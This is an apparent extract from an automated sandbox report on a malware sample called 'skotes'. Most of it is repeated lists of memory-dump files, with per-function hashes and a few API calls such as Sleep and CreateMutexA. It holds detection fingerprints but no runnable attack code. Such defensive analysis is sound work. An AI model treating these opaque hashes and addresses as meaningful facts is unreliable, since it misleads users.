Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 29ba2004743318c85e5f948f80af6cc9cd1f35951187bad9c5546597d620dbe8
Instruction ID: 5f5303a9011ffce6bab4ce7279842e1f47597d73049e0dc9a023cf394bafc7c1
Opcode Fuzzy Hash: 29ba2004743318c85e5f948f80af6cc9cd1f35951187bad9c5546597d620dbe8
Instruction Fuzzy Hash: 0E212531704300DBEB189F68ECA9B6CB762EF91324F204219E455972D1CBB599818651

Function 0010A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4b78a2d10fc822effcaa6f4ba3764348bcab3fb665c5fa30823c02771896ec39
Instruction ID: fb2c74276935f32247d80778f851c4f0cb2dc4b32079d6127b985e874dcf78d9
Opcode Fuzzy Hash: 4b78a2d10fc822effcaa6f4ba3764348bcab3fb665c5fa30823c02771896ec39
Instruction Fuzzy Hash: 66214C31745300DAFB28EBA89CA6B3DB262DF91305F648817E6C5D63D1CFF659818293

Function 0010A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 172df4155ff0743ed188817eccbdd98ed16306f61b3bcb41302411bdef1ea098
Instruction ID: 4312561c76ff27403174fba4d370487e473b7ce91aba071a339410efb88f2db3
Opcode Fuzzy Hash: 172df4155ff0743ed188817eccbdd98ed16306f61b3bcb41302411bdef1ea098
Instruction Fuzzy Hash: BC2137327043049BEB1CDF68EC95B6CB762EF91314F248219E4559B7D0CBB659808652

Non-executed Functions

Function 00102EC0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00102F5F
__Mtx_unlock.LIBCPMT ref: 00102FCC
__Mtx_unlock.LIBCPMT ref: 001030F5
__Mtx_unlock.LIBCPMT ref: 0010319B

Strings

rajF, xrefs: 00102ED7, 00103054, 00103203

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: rajF
API String ID: 1418687624-2848616852
Opcode ID: 5a0dceab6a77b47d2e8f2594fd22ea41ff65ae91f86da27bff7306f465077538
Instruction ID: 9a22c82522ff3148489cc50ba5411764731a5d504981c407e4f3e65cb795fce3
Opcode Fuzzy Hash: 5a0dceab6a77b47d2e8f2594fd22ea41ff65ae91f86da27bff7306f465077538
Instruction Fuzzy Hash: 0FA1F2B0A01215EFDB14DFA5C8457AAB7E8FF29310F048139E865D7281EBB1EA44CBD1

Function 00144C14 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00144DCA
__freea.LIBCMT ref: 00144DD3
__freea.LIBCMT ref: 00144DF6

Strings

rajF, xrefs: 00144C1B

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: __freea
String ID: rajF
API String ID: 240046367-2848616852
Opcode ID: c6bd4b5f4b95a089c5e68d5373ddd2129d5e50fd4be03149e60e93be8da3cd1f
Instruction ID: 1d84b939ac0ab01dd26d6b31f2d789acc47cc36d7bc20fb73f5e540a317833c1
Opcode Fuzzy Hash: c6bd4b5f4b95a089c5e68d5373ddd2129d5e50fd4be03149e60e93be8da3cd1f
Instruction Fuzzy Hash: 6F51F772A00216AFEF259FA4DC81FBB37A9DFA4750F294129FD04A7161EB30DC5197A0

Function 00103AC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00103B93
__Cnd_destroy_in_situ.LIBCPMT ref: 00103B99
__Mtx_destroy_in_situ.LIBCPMT ref: 00103BA2

Strings

rajF, xrefs: 00103AD5, 00103C07

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
